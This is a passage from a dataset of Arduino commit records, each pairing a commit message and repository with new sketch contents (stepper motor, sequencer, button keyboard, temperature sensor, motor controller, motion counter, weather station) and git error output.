twister.\n","repos":"jz0229\/open-ephys-pcie,jz0229\/open-ephys-pcie,jz0229\/open-ephys-pcie","old_file":"finewire-twister\/twister\/twister.ino","new_file":"finewire-twister\/twister\/twister.ino","new_contents":"#include <AccelStepper.h>\n\n\/\/ Microstepper Settings\n#define M0 5\n#define M1 6\n#define M2 7\n\n#define STEP 10\n#define DIR 11\n\n#define TRIG 2\n#define STEPS_PER_REV 24\n\nAccelStepper stepper(1, STEP, DIR);\nint num_turns = 100;\nint usteps = 8;\nvolatile bool moving = false;\nvolatile bool state_change = false;\n\n\/\/ This example uses the timer interrupt to blink an LED\n\/\/ and also demonstrates how to share a variable between\n\/\/ the interrupt and the main program.\n\nconst int led = LED_BUILTIN; \/\/ the pin with a LED\n\/\/ Define a stepper and the pins it will use\n\nvoid setup(void)\n{\n Serial.begin(9600);\n \n \/\/ Microsteps (set to 16)\n pinMode(M0, OUTPUT);\n pinMode(M1, OUTPUT);\n pinMode(M2, OUTPUT);\n usteps = setUStep(usteps);\n\n \/\/ Trigger button\n pinMode(TRIG, INPUT);\n digitalWrite(TRIG, LOW); \/\/ Pulldown\n attachInterrupt(0, trigPressed, RISING);\n\n \/\/ Stepper setup (Empirical...)\n stepper.setMaxSpeed(10000);\n stepper.setAcceleration(200);\n}\n\n\/\/ The main program will print the blink count\n\/\/ to the Arduino Serial Monitor\nvoid loop(void)\n{\n if (state_change && moving) {\n \/\/ Stop moton\n stepper.setCurrentPosition(0);\n state_change = false;\n moving = false;\n Serial.println(\"Stopping motion\");\n } else if (state_change) {\n stepper.move(getNumSteps());\n state_change = false;\n moving = true;\n Serial.println(\"Starting motion\");\n }\n\n if (stepper.distanceToGo() != 0) {\n stepper.run();\n } else {\n moving = false;\n }\n\n if (!moving && Serial.available()) {\n int temp = Serial.parseInt();\n if (temp != 0) {\n num_turns = temp;\n Serial.print(\"Target turns set to \");\n Serial.println(num_turns);\n }\n }\n}\n\nvoid trigPressed() {\n state_change = true;\n}\n\nint setUStep(int us) {\n\n switch (us) {\n case 8: {\n digitalWrite(M0, HIGH);\n digitalWrite(M1, HIGH);\n digitalWrite(M2, LOW);\n Serial.println(\"Set to 8 microsteps\");\n return 8;\n }\n default : {\n digitalWrite(M0, LOW);\n digitalWrite(M1, LOW);\n digitalWrite(M2, LOW);\n Serial.println(\"Set to no microsteps\");\n return 1;\n }\n }\n}\n\nint getNumSteps() {\n return usteps * STEPS_PER_REV * num_turns;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'finewire-twister\/twister\/twister.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"53df7b402e133a4cb3a7a3fcd54509caf08ae358","subject":"Added Sequencer code (first sketch)","message":"Added Sequencer code (first sketch)\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"Sequencer\/Sequencer.ino","new_file":"Sequencer\/Sequencer.ino","new_contents":"\/*\nKidModular - SEQUENCER \nby Tiago Angelo (aka p1nho)\n\nBuilt with: \nArduino 1.0.5 (on Arduino MEGA2560)\nStripped out version of UTFT Library v.2.82 (12 Jul 2016) by Henning Karlsen\nSequencer code based on Rui Penha's \"Polissonos\" ()\n*\/\n\n\/************************************ INCLUDED LIBS & HEADERS ***********************************************\/\n#include \"avr\/pgmspace.h\"\n#include <UTFT.h>\n\n\/************************************ DEFINITIONS ***********************************************************\/\n\/\/ SEQUENCER\n#define MAXSTEPS 8\n\n\/************************************ CLASS OBJECTS *********************************************************\/\n\/\/ LCD\nUTFT LCD(CTE32HR,38,39,40,41);\n\n\/************************************ VARIABLES *************************************************************\/\n\/\/ Sequencer\nbyte bpm; \/\/ beats-per-minute\nbyte curStep; \/\/ current step \nbyte numSteps; \/\/ selected number of steps\nbyte pitch[MAXSTEPS]; \/\/ array with pitch of each step \nbyte dur[MAXSTEPS]; \/\/ array with duration of each step\n\/\/ LCD\n\n\/************************************ SETUP *****************************************************************\/\nvoid setup()\n{\n \/\/ LCD setup - uses delay() and therefore must go before any interrupts\n LCD.InitLCD();\n \n}\n\n\/************************************ LOOP ******************************************************************\/\nvoid loop()\n{\n \n \n}\n\n\/************************************ SEQUENCER FUNCTIONS ***************************************************\/\n\n\n\/************************************** LCD FUNCTIONS *******************************************************\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sequencer\/Sequencer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e1d40bd943062a141c331622989478f8af29b6c5","subject":"circular log buffer, new diag buffer","message":"circular log buffer, new diag buffer\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fa36390eb6b12c592f0c5da12370b41d814e9a95","subject":"Teensy 2++ board as GPIO to use mechanical buttons. D4 for character \"p\" and D5 for character \"o\"","message":"Teensy 2++ board as GPIO to use mechanical buttons. D4 for character \"p\" and D5 for character \"o\"\n","repos":"KristianTurner\/TimeAttack","old_file":"Buttons\/Buttons.ino","new_file":"Buttons\/Buttons.ino","new_contents":"#include <Bounce.h>\n\nBounce button4 = Bounce(4, 10); \/\/D4\nBounce button5 = Bounce(5, 10); \/\/D5\n\nvoid setup() {\n pinMode(4, INPUT_PULLUP);\n pinMode(5, INPUT_PULLUP);\n pinMode(6, OUTPUT);\n digitalWrite(6, HIGH);\n}\nvoid loop() {\n button4.update();\n button5.update();\n \n if (button4.fallingEdge()) {\n Keyboard.set_key1(KEY_P);\n Keyboard.send_now();\n Keyboard.set_key1(0);\n Keyboard.send_now();\n }\n if (button5.fallingEdge()) {\n Keyboard.set_key1(KEY_O);\n Keyboard.send_now();\n Keyboard.set_key1(0);\n Keyboard.send_now();\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Buttons\/Buttons.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45ce1b1cda6666e253ff2638ef8de801a5a0ebf1","subject":"basic LED setup, sunrise\/sunset checking","message":"basic LED setup, sunrise\/sunset checking\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c8019ddcc4c679ea7693a20da1f53e6b8e831266","subject":"Initial commit. Developing library for Timer2. This is my development playground.","message":"Initial commit. Developing library for Timer2. This is my development playground.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_file":"Motor Speed\/testTimerTwo\/testTimerTwo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testTimerTwo\/testTimerTwo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a3ed84676c1491409b0cfcc6cb3d811857fb4d9d","subject":"Added a test that rotates the servo using a map","message":"Added a test that rotates the servo using a map\n","repos":"VisIR\/RoboCode,VisIR\/RoboCode,VisIR\/RoboCode,VisIR\/RoboCode","old_file":"Arduino\/ServoTest\/ServoTest.ino","new_file":"Arduino\/ServoTest\/ServoTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VisIR\/RoboCode.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dc13831a1d3924ea6ebe5f410cc4d4b95784070e","subject":"Not broken, not working. It's late. Goodnight.","message":"Not broken, not working. It's late. Goodnight.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7d410b8dc0d4a9fd4dcb9156b1e8068a5599740e","subject":"Initial add of temperature code","message":"Initial add of temperature code\n\nThis is an initial add of the temperature sensor code. It will be\nadapted in a future effort.\n","repos":"rbrady\/photon-sous-vide","old_file":"main.ino","new_file":"main.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"OneWire\/OneWire.h\"\n\nint ow = D0; \/\/ put the onewire bus on D0\n\nOneWire ds(ow);\ndouble tempC = 0;\ndouble tempF = 0;\n\nvoid setup() {\n Particle.function(\"therTemp\", therTemp);\n Particle.function(\"get_celsius\", get_celsius);\n Particle.variable(\"celsius\", &tempC, DOUBLE);\n Particle.variable(\"fahrenheit\", &tempF, DOUBLE);\n}\n\nfloat get_celsius(String command) {\n byte i;\n byte present = 0;\n byte type_s = 0;\n byte data[12];\n byte addr[8];\n float celsius;\n \n int search_attempts=0;\n while(!ds.search(addr) || search_attempts < 10) {\n search_attempts++;\n ds.reset_search();\n delay(250);\n }\n \n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n\n delay(1000); \/\/ maybe 750ms is enough, maybe not\n \/\/ we might do a ds.depower() here, but the reset will take care of it.\n\n present = ds.reset();\n ds.select(addr);\n ds.write(0xBE);\n \n \/\/ Convert the data to actual temperature\n \/\/ because the result is a 16 bit signed integer, it should\n \/\/ be stored to an \"int16_t\" type, which is always 16 bits\n \/\/ even when compiled on a 32 bit processor.\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n \n celsius = (float)raw \/ 16.0;\n \n return celsius;\n}\n\nvoid loop() {\n byte i;\n byte present = 0;\n byte type_s = 0;\n byte data[12];\n byte addr[8];\n float celsius, fahrenheit;\n \n if ( !ds.search(addr)) {\n Serial.println(\"No more addresses.\");\n Serial.println();\n ds.reset_search();\n delay(250);\n return;\n }\n\n Serial.print(\"ROM =\");\n for( i = 0; i < 8; i++) {\n Serial.write(' ');\n Serial.print(addr[i], HEX);\n }\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.println(\"CRC is not valid!\");\n return;\n }\n Serial.println();\n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n\n delay(1000); \/\/ maybe 750ms is enough, maybe not\n \/\/ we might do a ds.depower() here, but the reset will take care of it.\n\n present = ds.reset();\n ds.select(addr);\n ds.write(0xBE); \/\/ Read Scratchpad\n\n Serial.print(\" Data = \");\n Serial.print(present, HEX);\n Serial.print(\" \");\n for ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n Serial.print(data[i], HEX);\n Serial.print(\" \");\n }\n \n Serial.print(\" CRC=\");\n Serial.print(OneWire::crc8(data, 8), HEX);\n Serial.println();\n\n \/\/ Convert the data to actual temperature\n \/\/ because the result is a 16 bit signed integer, it should\n \/\/ be stored to an \"int16_t\" type, which is always 16 bits\n \/\/ even when compiled on a 32 bit processor.\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n else if (cfg == 0x40) raw = raw & ~1; \/\/ 11 bit res, 375 ms\n \/\/\/\/ default is 12 bit resolution, 750 ms conversion time\n }\n \n celsius = (float)raw \/ 16.0;\n fahrenheit = celsius * 1.8 + 32.0;\n tempC = (double)celsius;\n tempF = (double)fahrenheit;\n Serial.print(\" Temperature = \");\n Serial.print(celsius);\n Serial.print(\" Celsius, \");\n Serial.print(fahrenheit);\n Serial.println(\" Fahrenheit\");\n\n}\n\nint therTemp(String command) {\n return 0;\n}\n\n\n\nfloat get_farenheit(String command) {\n return get_celsius(\"\") * 1.8 + 32.0;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'main.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b703d59358be33b1a46ffc0f5fe4fcb7fd911810","subject":"more buffer more good","message":"more buffer more good\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8f99c41c21a555500d010e8b7c58737cc0222134","subject":"Adding arduino nano program for simple MCB diagnostics to be used without any Raspberry Pi connected.","message":"Adding arduino nano program for simple MCB diagnostics to be used without any Raspberry Pi connected.\n","repos":"UbiquityRobotics\/ubiquity_motor,UbiquityRobotics\/ubiquity_motor,UbiquityRobotics\/ubiquity_motor","old_file":"scripts\/McbController.ino","new_file":"scripts\/McbController.ino","new_contents":"\/*\r\n MCB Controller That Runs On The Arduino Platform for debug or very very simple controllers\r\n\r\n Some basic MCB speed control for the Ubiquity Robotics Magni Robot is implemented\r\n This code is meant for the Arduino Nano model.\r\n\r\n This code could be used to build upon a far more complex robot based on the Arduino platform\r\n or other platform supported by the Arduino IDE libraries.\r\n\r\n As a minimum the Arduino 5V level TX signal goes to MCB board P508 RX pin and Arduino Ground goes to P508 ground.\r\n Optionally you can power the Arduino all from P508 because there is 5V VCC on P508 as well.\r\n (Note that to do that you must tie MCB Vcc on P508 to Arduino 5V power because the spec for VIN is for 6V or more)\r\n\r\n Usage Instructions\r\n - Ground the ENABLE_SPEED_PIN\r\n - Connect tow 1k to 20k pots with each of the ends on GND and Vcc. \r\n Center tap of one pot to A1, center tap of other pot to A2.\r\n Default with no jumpers is for each pot to separately control a single wheel.\r\n - Optionally ground the ENABLE_JOYSTICK pin to interprit two pots as joystick\r\n - Optionally a normaly closed switch from ground to ENABLE_SPEED_PIN for switch that must close to run motors\r\n When the ENABLE_SPEED_PIN is floating motors are enabled. When it goes to ground motors stop\r\n\r\n Author: mj@ubiquityrobotics.com\r\n Date: 20210103\r\n \r\n*\/\r\n\r\n#define ENABLE_SPEED_PIN 3 \/\/ Release from ground to enable speed messages (thus use NC switch to use this feature)\r\n#define ENABLE_JOYSTICK 2 \/\/ Pull to ground to enable interpritation of pots as a joystick\r\n#define SPEED_POT_RIGHT A1 \/\/ Motor speed control for right wheel\r\n#define SPEED_POT_LEFT A2 \/\/ Motor speed control for left wheel\r\n\r\nint debugMode = 0; \/\/ set to 1 to use serial monitor but normally 0 for real speed commands out\r\n\r\nlong loopTimeMs = 50; \/\/ Need to keep repeating speeds or deadman timer kicks in on MCB\r\nlong pulseOnTimeMs; \/\/ On time in millisec\r\nlong pulseOffTimeMs; \/\/ Off time in millisec\r\n\r\nint leftSpeed = 0;\r\nint rightSpeed = 0;\r\nint linearSpeed = 0;\r\nint rotateSpeed = 0;\r\n\r\nint xmitEnable = 0; \/\/ When non-zero we allow speed messages to be continuously sent. Set to -1 to now use this feature\r\nint joystickEnable = 0; \/\/ When positive (input pin ground) this interprites pots as from a joystick. Set to -1 for never joystick\r\n\r\n\/\/ Format a basic speed command. Bytes 3,4 are MSB,LSB of signed right speed and bytes 5,6 are signed left speed\r\nbyte speedCmd[]={0x7e, 0x3b, 0x2a, 0, 0, 0, 0, 0};\r\nint cmdPacketLen = 8;\r\nint msgXmitLen = 0;\r\n\r\n\r\n\/\/ Calculate a simple single byte checksum from a byte array of given length\r\n\/\/ We do this treating each byte as an unsigned 0-255 value \r\n\/\/ Then return a 0-255 byte unsigned byte value\r\nbyte calcPacketCksum( byte *msg, int msgBytes) {\r\n unsigned int sum = 0;\r\n byte cksum = 0;\r\n int idx = 0;\r\n \/\/Serial.print(\"CalcChecksum: \");\r\n for (idx = 0; idx < msgBytes ; idx++) { \r\n sum += msg[idx];\r\n }\r\n\r\n \/\/ Take the full sum and form the special 1 byte checksum value \r\n if (sum > 0xFF) {\r\n int tmp;\r\n tmp = sum >> 8;\r\n tmp = tmp << 8;\r\n cksum = 0xFF - (sum - tmp);\r\n } else {\r\n cksum = 0xFF - sum;\r\n }\r\n return cksum;\r\n}\r\n\r\n\/\/ the setup function runs once when you press reset or power the board\r\nvoid setup() {\r\n \/\/ initialize digital pin LED_BUILTIN as an output.\r\n pinMode(LED_BUILTIN, OUTPUT);\r\n pinMode(ENABLE_SPEED_PIN, INPUT_PULLUP);\r\n pinMode(ENABLE_JOYSTICK, INPUT_PULLUP);\r\n pinMode(SPEED_POT_RIGHT, INPUT);\r\n pinMode(SPEED_POT_LEFT, INPUT);\r\n\r\n Serial.begin(38400); \/\/ Set to speed for MCB control\r\n}\r\n\r\n\/\/ the loop function runs over and over again forever\r\nvoid loop() {\r\n\r\n \/\/ Setup mode based on pins we see in a given state. If this was set to -1 always enable motors\r\n \/\/ The idea here is that a normally closed deadman switch can be used so motors stop if switch is not pressed\r\n if (xmitEnable >= 0) {\r\n xmitEnable = digitalRead(ENABLE_SPEED_PIN);\r\n }\r\n\r\n \/\/ Allow two pots to be interprited as a simple joystick control. Default is each pot controls one motor.\r\n if (joystickEnable >= 0) {\r\n joystickEnable = 0;\r\n if (digitalRead(ENABLE_JOYSTICK) == 0) {\r\n joystickEnable = 1;\r\n }\r\n }\r\n\r\n if (joystickEnable <= 0) {\r\n leftSpeed = ((long)analogRead(SPEED_POT_LEFT) - 512) \/ 8; \/\/ allow signed 0-64\r\n rightSpeed = ((long)analogRead(SPEED_POT_RIGHT) - 512) \/ 8; \/\/ allow signed 0-64\r\n } else {\r\n \/\/ Interprit pots as one is forward\/reverse and the other is bias to right or left (rotation)\r\n linearSpeed = ((long)analogRead(SPEED_POT_LEFT) - 512) \/ 8; \/\/ allow signed 0-64\r\n rotateSpeed = ((long)analogRead(SPEED_POT_RIGHT) - 512) * 2; \/\/ This is near +- 1024\r\n\r\n \/\/ We are going to simply pull off a fraction of left to give to right based on the rotate\r\n \/\/ This will not yield true joystick performance but will allow turning\r\n \/\/ We will also ignore small rotations to allow straight driving to be easier\r\n float diffSpeed = (float)linearSpeed * ((float)rotateSpeed\/(float)1024);\r\n leftSpeed = linearSpeed;\r\n rightSpeed = linearSpeed;\r\n if (((float)rotateSpeed > (float)(0.05)) || ((float)rotateSpeed < (float)(-0.05))) {\r\n leftSpeed = linearSpeed - diffSpeed;\r\n rightSpeed = linearSpeed + diffSpeed;\r\n } \r\n }\r\n\r\n \/\/ Format a basic speed command. Bytes 3,4 are MSB,LSB of signed right speed and bytes 5,6 are signed left speed\r\n\r\n \/\/ Pack in the 2 speed bytes\r\n if (rightSpeed < 0) {\r\n speedCmd[3] = 0xff;\r\n speedCmd[4] = 0xff - ((-1 * rightSpeed) & 0xff);\r\n } else {\r\n speedCmd[3] = 0;\r\n speedCmd[4] = rightSpeed & 0xff;\r\n }\r\n if (leftSpeed < 0) {\r\n speedCmd[5] = 0xff;\r\n speedCmd[6] = 0xff - ((-1 * leftSpeed) & 0xff);\r\n } else {\r\n speedCmd[5] = 0;\r\n speedCmd[6] = leftSpeed & 0xff;\r\n }\r\n\r\n \/\/ The start byte is 0x7E so the cmdPacket where we calculate checksum does not include that\r\n cmdPacketLen = 6;\r\n speedCmd[cmdPacketLen+1] = calcPacketCksum( &speedCmd[1], cmdPacketLen);\r\n msgXmitLen = cmdPacketLen + 2; \/\/ add in start byte and checksum bytes for total xmit length\r\n\r\n if (debugMode == 1) {\r\n loopTimeMs = 1000;\r\n if (joystickEnable == 0) {\r\n Serial.print(\"MotorSpeeds: Left= \"); Serial.print(leftSpeed); Serial.print(\" Right= \"); Serial.println(rightSpeed);\r\n } else {\r\n Serial.print(\"JoystickSpeeds: Left= \"); Serial.print(leftSpeed); Serial.print(\" Right= \"); Serial.println(rightSpeed);\r\n }\r\n Serial.print(\"Msg: \");\r\n for (int i = 0; i<msgXmitLen ; i++) {\r\n Serial.print(\" \"); Serial.print( speedCmd[i]);\r\n }\r\n Serial.println(\"\\n\");\r\n }\r\n \r\n \/\/ Write out the speed command if transmit is enabled\r\n digitalWrite(LED_BUILTIN, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\r\n if ((xmitEnable != 0) && (debugMode == 0)) {\r\n Serial.write(speedCmd, msgXmitLen);\r\n }\r\n digitalWrite(LED_BUILTIN, LOW); \/\/ turn the LED off by making the voltage LOW\r\n \r\n delay(loopTimeMs); \/\/ remain off this long\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scripts\/McbController.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"ca83006ccaa67fda085ca734444afd0e0a6bc3ea","subject":"Added Raspberry to Arduino over USB test","message":"Added Raspberry to Arduino over USB test\n","repos":"HMTL\/HMTL,aphelps\/HMTL,aphelps\/HTML,HMTL\/HMTL,HMTL\/HMTL,aphelps\/HMTL,aphelps\/HMTL,aphelps\/HTML,aphelps\/HTML,aphelps\/HMTL,HMTL\/HMTL,aphelps\/HTML","old_file":"Tests\/RaspArduiniUSBTest\/RaspArduiniUSBTest.ino","new_file":"Tests\/RaspArduiniUSBTest\/RaspArduiniUSBTest.ino","new_contents":"\/*\n * This is a trivial test program for communicating with an Arduino over\n * a USB serial connection.\n *\/\n\nconst int ledPin = 11;\n\nvoid setup(){\n pinMode(ledPin, OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop(){\n if (Serial.available()) {\n byte value = Serial.read();\n Serial.print((char)value);\n if ((value > '0') && (value <= '9')) {\n light(value - '0');\n }\n }\n delay(500);\n}\n\nvoid light(int n){\n for (int i = 0; i < n; i++) {\n digitalWrite(ledPin, HIGH);\n delay(100);\n digitalWrite(ledPin, LOW);\n delay(100);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/RaspArduiniUSBTest\/RaspArduiniUSBTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"14bc978e6d41c67d25fed25ba4392ffb4b0fc76b","subject":"Init. Not working","message":"Init. Not working\n","repos":"BFH-M-E\/Eyebot,BFH-M-E\/Eyebot","old_file":"examples\/PS4\/PS4.ino","new_file":"examples\/PS4\/PS4.ino","new_contents":"#include \"Eyebot.h\"\n#include \"Wire.h\"\n\n#include <SPI.h>\n\/* USB Host Lib *\/\n#include <PS4BT.h>\n#include <usbhub.h>\n\n\/\/#define PAIRINGMODE\n\nUSB Usb;\n\/* create Bluetooth Dongle instance *\/\nBTD Btd(&Usb);\n\n#ifdef PAIRINGMODE\nPS4BT PS4(&Btd, PAIR); \/\/ Pairing Mode\n#else\nPS4BT PS4(&Btd); \/\/ Normal Mode\n#endif\n\nvoid\nsetup ()\n {\n Serial.begin(9600);\n Eyebot.Init (RobotColor::Red);\n\n if (Usb.Init() == -1) {\n Serial.println(\"USB Init NOT OK\"); \/\/USB init not OK\n } else {\n Serial.println(\"USB Init OK\"); \/\/USB init OK\n }\n\n }\n\nvoid\nloop ()\n {\n \/\/vTaskSuspendAll ();\n \/\/Usb.Task();\n \/\/xTaskResumeAll ();\n delay(200);\n Serial.print(\"alive\");\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/PS4\/PS4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78ad25e1705f9c048317442b1fcdaa8932382bda","subject":"Organize strings a bit.","message":"Organize strings a bit.\n\nI.e. now they are not all over the place.","repos":"lgramatikov\/celeste","old_file":"CelesteUIEthernet.ino","new_file":"CelesteUIEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0ee2c60ca7fb7c0b9195b3cc4a91cf92f1f50223","subject":"Create Main.ino","message":"Create Main.ino","repos":"hpcslag\/Flow-Counter","old_file":"Main.ino","new_file":"Main.ino","new_contents":"#include \"Timer.h\"\nconst int PIRSensorPin = 12;\nint people = 0;\nTimer t;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(PIRSensorPin,INPUT); \/\/pin 12 is PIR Sensor\n pinMode(13,OUTPUT);\n delay(5000);\n}\n\nboolean status = false;\n\nvoid loop() {\n if(digitalRead(PIRSensorPin) == HIGH){\n if(status == false){\n \/\/addReadPeople(); if you want show in the command line\n returnStatus();\n status = true;\n }\n t.every(5000,addReadPeople, 0);\n digitalWrite(13,HIGH);\n Serial.println(people);\n }else{\n status = false;\n returnStatus();\n \/\/Serial.println(\"NO ANYONE THROUGH HERE.\"); if you want show in the command line\n digitalWrite(13,LOW);\n }\n}\n\nvoid returnStatus(){\n Serial.println(status);\n}\n\nvoid addReadPeople(){\n people = people + 1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5daf72aa737177ec671e6dda5036ef4f71a49d79","subject":"Initial commit. This code doesn't work yet. I think it's running out of SRAM... again!","message":"Initial commit. This code doesn't work yet. I think it's running out of SRAM... again!\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts\/testInterrupts.ino","new_file":"Motor Speed\/testInterrupts\/testInterrupts.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts\/testInterrupts.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e48c7cf126ff7bed71c9df66f947b262271d5ace","subject":"Add Arduino sketch","message":"Add Arduino sketch\n","repos":"edgar-ch\/mstation,edgar-ch\/mstation","old_file":"MStation\/MStation.ino","new_file":"MStation\/MStation.ino","new_contents":"\/\/\n\/\/ FILE: MStation.ino\n\/\/ AUTHOR: Edgar Cherkasov\n\/\/ VERSION: 0.1\n\/\/ PURPOSE: Code for DIY meteostation\n\/\/ URL:\n\/\/\n\/\/ Released to the public domain\n\/\/\n\n#include <dht.h>\n#include <LiquidCrystal.h>\n#include <OneWire.h>\n\n#define DS18B20_ID 0x28\n#define DHT11_PIN 2\n#define LED 13\n#define DS18B20_TRYOUT 5\n#define DS18B20_PIN 3\n\nenum DS18_ERR{NOT_FOUND = 1, CRC_ADDR_FAIL, NOT_DS18B20_DEV, CRC_SCRATCH_FAIL};\n\ndht DHT;\nLiquidCrystal lcd(4, 5, 9, 10, 11, 12);\nOneWire ds(DS18B20_PIN);\nchar tempS[16], humS[16], ds18_tempS[16];\nfloat ds18_temp;\nbyte ds18_err;\nbyte addr[8];\nunsigned long sensors_interval = 30000; \/\/ pause between readings of sensors\nunsigned long lcd_interval = 15000; \/\/ pause between shows temperature from DS18 and DHT\nunsigned long sending_interval = (unsigned long) 5*60*1000; \/\/ pause between sending data to serial (Min*Sec*Millis)\nunsigned long prevMillis_sensors = sensors_interval, prevMillis_lcd = lcd_interval, prevMillis_sending = sending_interval;\nbyte temp12 = 0; \/\/ which temperature will show, 0 - from DHT, 1 - from DS18B20\nfloat ds18_temp_mid = 0, DHT_temp_mid = 0, humid_mid = 0; \/\/ middle value calculation\nbyte data_read_count = 0;\n\nvoid setup()\n{\n lcd.begin(16, 2);\n lcd.print(\"MStation v0.1\");\n lcd.setCursor(0, 1);\n lcd.print(\"Init...\");\n pinMode(LED, OUTPUT);\n Serial.begin(115200);\n Serial.println(\"MStationV0.1_Init\");\n if (!getAddrDS18B20()) {\n 